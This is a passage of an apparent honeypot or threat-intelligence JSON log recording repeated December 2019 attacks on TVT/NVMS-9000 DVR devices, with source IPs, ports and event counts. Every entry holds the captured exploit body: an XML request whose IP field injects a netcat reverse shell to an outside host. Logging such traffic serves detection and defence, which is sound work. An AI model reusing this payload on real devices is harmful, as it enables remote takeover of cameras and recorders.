  4130.       "source_ip_address": "84.232.255.8",
  4131.       "country": "RO",
  4132.       "user_agent": "Help",
  4133.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4134.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4135.       "target_port": 81,
  4136.       "protocol": "tcp",
  4137.       "tags": [
  4138.         {
  4139.           "cve": "",
  4140.           "category": "IoT",
  4141.           "description": "TVT (Generic OEM) DVR RCE"
  4142.         }
  4143.       ],
  4144.       "event_count": 4,
  4145.       "first_seen": "2019-12-22T00:35:08Z",
  4146.       "last_seen": "2019-12-22T00:35:08Z"
  4147.     },
  4148.     {
  4149.       "source_ip_address": "189.165.138.121",
  4150.       "country": "MX",
  4151.       "user_agent": "Help",
  4152.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4153.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4154.       "target_port": 80,
  4155.       "protocol": "tcp",
  4156.       "tags": [
  4157.         {
  4158.           "cve": "",
  4159.           "category": "IoT",
  4160.           "description": "TVT (Generic OEM) DVR RCE"
  4161.         }
  4162.       ],
  4163.       "event_count": 6,
  4164.       "first_seen": "2019-12-22T00:14:34Z",
  4165.       "last_seen": "2019-12-22T00:14:34Z"
  4166.     },
  4167.     {
  4168.       "source_ip_address": "123.241.160.119",
  4169.       "country": "TW",
  4170.       "user_agent": "Help",
  4171.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4172.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4173.       "target_port": 88,
  4174.       "protocol": "tcp",
  4175.       "tags": [
  4176.         {
  4177.           "cve": "",
  4178.           "category": "IoT",
  4179.           "description": "TVT (Generic OEM) DVR RCE"
  4180.         }
  4181.       ],
  4182.       "event_count": 3,
  4183.       "first_seen": "2019-12-21T23:49:30Z",
  4184.       "last_seen": "2019-12-21T23:49:30Z"
  4185.     },
  4186.     {
  4187.       "source_ip_address": "78.186.182.86",
  4188.       "country": "TR",
  4189.       "user_agent": "Help",
  4190.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4191.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4192.       "target_port": 8000,
  4193.       "protocol": "tcp",
  4194.       "tags": [
  4195.         {
  4196.           "cve": "",
  4197.           "category": "IoT",
  4198.           "description": "TVT (Generic OEM) DVR RCE"
  4199.         }
  4200.       ],
  4201.       "event_count": 1,
  4202.       "first_seen": "2019-12-21T23:29:58Z",
  4203.       "last_seen": "2019-12-21T23:29:58Z"
  4204.     },
  4205.     {
  4206.       "source_ip_address": "122.116.167.31",
  4207.       "country": "TW",
  4208.       "user_agent": "Help",
  4209.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4210.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4211.       "target_port": 80,
  4212.       "protocol": "tcp",
  4213.       "tags": [
  4214.         {
  4215.           "cve": "",
  4216.           "category": "IoT",
  4217.           "description": "TVT (Generic OEM) DVR RCE"
  4218.         }
  4219.       ],
  4220.       "event_count": 2,
  4221.       "first_seen": "2019-12-21T23:07:58Z",
  4222.       "last_seen": "2019-12-21T23:07:58Z"
  4223.     },
  4224.     {
  4225.       "source_ip_address": "189.223.231.146",
  4226.       "country": "MX",
  4227.       "user_agent": "Help",
  4228.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4229.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4230.       "target_port": 8000,
  4231.       "protocol": "tcp",
  4232.       "tags": [
  4233.         {
  4234.           "cve": "",
  4235.           "category": "IoT",
  4236.           "description": "TVT (Generic OEM) DVR RCE"
  4237.         }
  4238.       ],
  4239.       "event_count": 1,
  4240.       "first_seen": "2019-12-21T23:06:52Z",
  4241.       "last_seen": "2019-12-21T23:06:52Z"
  4242.     },
  4243.     {
  4244.       "source_ip_address": "218.161.124.77",
  4245.       "country": "TW",
  4246.       "user_agent": "Help",
  4247.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4248.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4249.       "target_port": 88,
  4250.       "protocol": "tcp",
  4251.       "tags": [
  4252.         {
  4253.           "cve": "",
  4254.           "category": "IoT",
  4255.           "description": "TVT (Generic OEM) DVR RCE"
  4256.         }
  4257.       ],
  4258.       "event_count": 1,
  4259.       "first_seen": "2019-12-21T23:01:08Z",
  4260.       "last_seen": "2019-12-21T23:01:08Z"
  4261.     },
  4262.     {
  4263.       "source_ip_address": "189.213.220.124",
  4264.       "country": "MX",
  4265.       "user_agent": "Help",
  4266.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4267.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4268.       "target_port": 80,
  4269.       "protocol": "tcp",
  4270.       "tags": [
  4271.         {
  4272.           "cve": "",
  4273.           "category": "IoT",
  4274.           "description": "TVT (Generic OEM) DVR RCE"
  4275.         }
  4276.       ],
  4277.       "event_count": 304,
  4278.       "first_seen": "2019-12-19T19:22:56Z",
  4279.       "last_seen": "2019-12-21T22:40:18Z"
  4280.     },
  4281.     {
  4282.       "source_ip_address": "211.72.181.96",
  4283.       "country": "TW",
  4284.       "user_agent": "Help",
  4285.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4286.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4287.       "target_port": 80,
  4288.       "protocol": "tcp",
  4289.       "tags": [
  4290.         {
  4291.           "cve": "",
  4292.           "category": "IoT",
  4293.           "description": "TVT (Generic OEM) DVR RCE"
  4294.         }
  4295.       ],
  4296.       "event_count": 1,
  4297.       "first_seen": "2019-12-21T22:30:20Z",
  4298.       "last_seen": "2019-12-21T22:30:20Z"
  4299.     },
  4300.     {
  4301.       "source_ip_address": "93.84.86.123",
  4302.       "country": "BY",
  4303.       "user_agent": "Help",
  4304.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4305.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4306.       "target_port": 88,
  4307.       "protocol": "tcp",
  4308.       "tags": [
  4309.         {
  4310.           "cve": "",
  4311.           "category": "IoT",
  4312.           "description": "TVT (Generic OEM) DVR RCE"
  4313.         }
  4314.       ],
  4315.       "event_count": 1,
  4316.       "first_seen": "2019-12-21T22:28:21Z",
  4317.       "last_seen": "2019-12-21T22:28:21Z"
  4318.     },
  4319.     {
  4320.       "source_ip_address": "138.255.235.21",
  4321.       "country": "BR",
  4322.       "user_agent": "Help",
  4323.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4324.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4325.       "target_port": 8080,
  4326.       "protocol": "tcp",
  4327.       "tags": [
  4328.         {
  4329.           "cve": "",
  4330.           "category": "IoT",
  4331.           "description": "TVT (Generic OEM) DVR RCE"
  4332.         }
  4333.       ],
  4334.       "event_count": 1,
  4335.       "first_seen": "2019-12-21T22:17:27Z",
  4336.       "last_seen": "2019-12-21T22:17:27Z"
  4337.     },
  4338.     {
  4339.       "source_ip_address": "93.113.43.52",
  4340.       "country": "RO",
  4341.       "user_agent": "Help",
  4342.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4343.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4344.       "target_port": 80,
  4345.       "protocol": "tcp",
  4346.       "tags": [
  4347.         {
  4348.           "cve": "",
  4349.           "category": "IoT",
  4350.           "description": "TVT (Generic OEM) DVR RCE"
  4351.         }
  4352.       ],
  4353.       "event_count": 1,
  4354.       "first_seen": "2019-12-21T22:08:52Z",
  4355.       "last_seen": "2019-12-21T22:08:52Z"
  4356.     },
  4357.     {
  4358.       "source_ip_address": "114.34.206.120",
  4359.       "country": "TW",
  4360.       "user_agent": "Help",
  4361.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4362.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4363.       "target_port": 8000,
  4364.       "protocol": "tcp",
  4365.       "tags": [
  4366.         {
  4367.           "cve": "",
  4368.           "category": "IoT",
  4369.           "description": "TVT (Generic OEM) DVR RCE"
  4370.         }
  4371.       ],
  4372.       "event_count": 1,
  4373.       "first_seen": "2019-12-21T21:59:39Z",
  4374.       "last_seen": "2019-12-21T21:59:39Z"
  4375.     },
  4376.     {
  4377.       "source_ip_address": "60.53.17.234",
  4378.       "country": "MY",
  4379.       "user_agent": "Help",
  4380.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4381.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4382.       "target_port": 8080,
  4383.       "protocol": "tcp",
  4384.       "tags": [
  4385.         {
  4386.           "cve": "",
  4387.           "category": "IoT",
  4388.           "description": "TVT (Generic OEM) DVR RCE"
  4389.         }
  4390.       ],
  4391.       "event_count": 1,
  4392.       "first_seen": "2019-12-21T21:52:43Z",
  4393.       "last_seen": "2019-12-21T21:52:43Z"
  4394.     },
  4395.     {
  4396.       "source_ip_address": "185.160.110.236",
  4397.       "country": "SK",
  4398.       "user_agent": "Help",
  4399.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4400.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4401.       "target_port": 80,
  4402.       "protocol": "tcp",
  4403.       "tags": [
  4404.         {
  4405.           "cve": "",
  4406.           "category": "IoT",
  4407.           "description": "TVT (Generic OEM) DVR RCE"
  4408.         }
  4409.       ],
  4410.       "event_count": 1,
  4411.       "first_seen": "2019-12-21T21:20:45Z",
  4412.       "last_seen": "2019-12-21T21:20:45Z"
  4413.     },
  4414.     {
  4415.       "source_ip_address": "72.186.134.26",
  4416.       "country": "US",
  4417.       "user_agent": "Help",
  4418.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4419.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4420.       "target_port": 80,
  4421.       "protocol": "tcp",
  4422.       "tags": [
  4423.         {
  4424.           "cve": "",
  4425.           "category": "IoT",
  4426.           "description": "TVT (Generic OEM) DVR RCE"
  4427.         }
  4428.       ],
  4429.       "event_count": 5,
  4430.       "first_seen": "2019-12-21T21:11:29Z",
  4431.       "last_seen": "2019-12-21T21:11:29Z"
  4432.     },
  4433.     {
  4434.       "source_ip_address": "5.15.130.109",
  4435.       "country": "RO",
  4436.       "user_agent": "Help",
  4437.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4438.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4439.       "target_port": 81,
  4440.       "protocol": "tcp",
  4441.       "tags": [
  4442.         {
  4443.           "cve": "",
  4444.           "category": "IoT",
  4445.           "description": "TVT (Generic OEM) DVR RCE"
  4446.         }
  4447.       ],
  4448.       "event_count": 1,
  4449.       "first_seen": "2019-12-21T20:18:43Z",
  4450.       "last_seen": "2019-12-21T20:18:43Z"
  4451.     },
  4452.     {
  4453.       "source_ip_address": "189.180.90.220",
  4454.       "country": "MX",
  4455.       "user_agent": "Help",
  4456.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4457.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4458.       "target_port": 8080,
  4459.       "protocol": "tcp",
  4460.       "tags": [
  4461.         {
  4462.           "cve": "",
  4463.           "category": "IoT",
  4464.           "description": "TVT (Generic OEM) DVR RCE"
  4465.         }
  4466.       ],
  4467.       "event_count": 1,
  4468.       "first_seen": "2019-12-21T20:08:31Z",
  4469.       "last_seen": "2019-12-21T20:08:31Z"
  4470.     },
  4471.     {
  4472.       "source_ip_address": "189.147.7.235",
  4473.       "country": "MX",
  4474.       "user_agent": "Help",
  4475.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4476.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4477.       "target_port": 8080,
  4478.       "protocol": "tcp",
  4479.       "tags": [
  4480.         {
  4481.           "cve": "",
  4482.           "category": "IoT",
  4483.           "description": "TVT (Generic OEM) DVR RCE"
  4484.         }
  4485.       ],
  4486.       "event_count": 1,
  4487.       "first_seen": "2019-12-21T19:52:05Z",
  4488.       "last_seen": "2019-12-21T19:52:05Z"
  4489.     },
  4490.     {
  4491.       "source_ip_address": "23.124.47.4",
  4492.       "country": "US",
  4493.       "user_agent": "Help",
  4494.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4495.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4496.       "target_port": 80,
  4497.       "protocol": "tcp",
  4498.       "tags": [
  4499.         {
  4500.           "cve": "",
  4501.           "category": "IoT",
  4502.           "description": "TVT (Generic OEM) DVR RCE"
  4503.         }
  4504.       ],
  4505.       "event_count": 28,
  4506.       "first_seen": "2019-12-21T19:33:15Z",
  4507.       "last_seen": "2019-12-21T19:33:15Z"
  4508.     },
  4509.     {
  4510.       "source_ip_address": "187.188.130.232",
  4511.       "country": "MX",
  4512.       "user_agent": "Help",
  4513.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4514.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4515.       "target_port": 80,
  4516.       "protocol": "tcp",
  4517.       "tags": [
  4518.         {
  4519.           "cve": "",
  4520.           "category": "IoT",
  4521.           "description": "TVT (Generic OEM) DVR RCE"
  4522.         }
  4523.       ],
  4524.       "event_count": 1,
  4525.       "first_seen": "2019-12-21T19:27:38Z",
  4526.       "last_seen": "2019-12-21T19:27:38Z"
  4527.     },
  4528.     {
  4529.       "source_ip_address": "2.141.123.6",
  4530.       "country": "ES",
  4531.       "user_agent": "Help",
  4532.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4533.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4534.       "target_port": 8000,
  4535.       "protocol": "tcp",
  4536.       "tags": [
  4537.         {
  4538.           "cve": "",
  4539.           "category": "IoT",
  4540.           "description": "TVT (Generic OEM) DVR RCE"
  4541.         }
  4542.       ],
  4543.       "event_count": 1,
  4544.       "first_seen": "2019-12-21T19:23:45Z",
  4545.       "last_seen": "2019-12-21T19:23:45Z"
  4546.     },
  4547.     {
  4548.       "source_ip_address": "187.147.132.146",
  4549.       "country": "MX",
  4550.       "user_agent": "Help",
  4551.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4552.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4553.       "target_port": 8000,
  4554.       "protocol": "tcp",
  4555.       "tags": [
  4556.         {
  4557.           "cve": "",
  4558.           "category": "IoT",
  4559.           "description": "TVT (Generic OEM) DVR RCE"
  4560.         }
  4561.       ],
  4562.       "event_count": 1,
  4563.       "first_seen": "2019-12-21T18:58:27Z",
  4564.       "last_seen": "2019-12-21T18:58:27Z"
  4565.     },
  4566.     {
  4567.       "source_ip_address": "47.34.238.92",
  4568.       "country": "US",
  4569.       "user_agent": "Help",
  4570.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4571.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4572.       "target_port": 8000,
  4573.       "protocol": "tcp",
  4574.       "tags": [
  4575.         {
  4576.           "cve": "",
  4577.           "category": "IoT",
  4578.           "description": "TVT (Generic OEM) DVR RCE"
  4579.         }
  4580.       ],
  4581.       "event_count": 2,
  4582.       "first_seen": "2019-12-21T18:55:42Z",
  4583.       "last_seen": "2019-12-21T18:55:42Z"
  4584.     },
  4585.     {
